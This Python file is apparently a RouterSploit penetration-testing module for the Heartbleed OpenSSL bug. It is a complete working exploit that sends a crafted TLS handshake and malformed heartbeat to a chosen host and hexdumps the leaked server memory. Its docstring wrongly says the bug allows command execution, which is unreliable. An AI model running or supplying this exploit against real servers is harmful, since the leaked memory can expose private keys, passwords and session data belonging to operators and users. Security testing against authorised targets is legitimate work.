import socket
import struct
import time
import select

from routersploit import (
    exploits,
    print_status,
    print_error,
    print_success,
    mute,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Hearbleed vulnerability.
    If the target is vulnerable it allows to execute command on operating system level."
    """
    __info__ = {
        'name': 'Heartbleed',
        'description': 'Exploits Hearbleed vulnerability.',
        'authors': [
            'Jared Stafford <jspenguin[at]jspenguin.org>',  # proof of concept python exploit
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'references': [
            'http://www.cvedetails.com/cve/2014-0160',
            'http://heartbleed.com/',
            'https://www.us-cert.gov/ncas/alerts/TA14-098A',
            'https://gist.github.com/takeshixx/10107280',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = exploits.Option('', 'Target IP address e.g. 192.168.1.1')  # target address
    port = exploits.Option(443, 'Target port')  # default port

    hello = '''
    16 03 02 00  dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
    00 0f 00 01 01
    '''

    hb = '''
    18 03 02 00 03
    01 40 00
    '''

    def h2bin(self, x):
        return x.replace(' ', '').replace('\n', '').decode('hex')

    def hexdump(self, s):
        for b in xrange(0, len(s), 16):
            lin = [c for c in s[b: b + 16]]
            hxdat = ' '.join('%02X' % ord(c) for c in lin)
            pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)
            print '  %04x: %-48s %s' % (b, hxdat, pdat)
        print

    def recvall(self, s, length, timeout=5):
        endtime = time.time() + timeout
        rdata = ''
        remain = length
        while remain > 0:
            rtime = endtime - time.time()
            if rtime < 0:
                return None
            r, w, e = select.select([s], [], [], 5)
            if s in r:
                try:
                    data = s.recv(remain)
                except socket.error:
                    return None

                if not data:
                    return None

                rdata += data
                remain -= len(data)
        return rdata

    def recvmsg(self, s):
        hdr = self.recvall(s, 5)
        if hdr is None:
            # Unexpected EOF receiving record header - server closed connection
            return None, None, None
        typ, ver, ln = struct.unpack('>BHH', hdr)
        pay = self.recvall(s, ln, 10)

        if pay is None:
            # Unexpected EOF receiving record payload - server closed connection
            return None, None, None  # ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
        return typ, ver, pay

    def hit_hb(self, s):
        while True:
            typ, ver, pay = self.recvmsg(s)
            if typ is None:
                print_error("No heartbeat response received, server likely not vulnerable")
                return False

            if typ == 24:
                print_status("Received heartbeat response")
                self.hexdump(pay)
                if len(pay) > 3:
                    print_success("WARNING: server returned more data than it should - server is vulnerable!")
                else:
                    print_error("Server processed malformed heartbeat, but did not return any extra data.")
                return

            if typ == 21:
                print_error("Server returned error, likely not vulnerable")
                print_error("Exploit failed")
                return

    def run(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((self.target, int(self.port)))
            s.send(self.h2bin(self.hello))
        except:
            print_error("Connection failed: {}:{}".format(self.target, self.port))
            return

        while True:
            typ, ver, pay = self.recvmsg(s)
            if typ is None:
                print_error("Server closed connection without sending Server Hello.")
                print_error("Exploit failed")
                return

            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break

        print_status("Sending heartbeat request")
        s.send(self.h2bin(self.hb))
        self.hit_hb(s)

    @mute
    def check(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((self.target, int(self.port)))
            s.send(self.h2bin(self.hello))
        except socket.error:
            return False  # target is not vulnerable

        while True:
            typ, ver, pay = self.recvmsg(s)
            if typ is None:
                return False   # target is not vulnerable

            if typ == 22 and ord(pay[0]) == 0x0E:
                break

        s.send(self.h2bin(self.hb))

        while True:
            typ, ver, pay = self.recvmsg(s)
            if typ is None:
                return False  # target is not vulnerable

            if typ == 24:
                if len(pay) > 3:
                    return True  # target is vulnerable
                else:
                    return False  # target is not vulnerable

            if typ == 21:
                return False  # target is not vulnerable
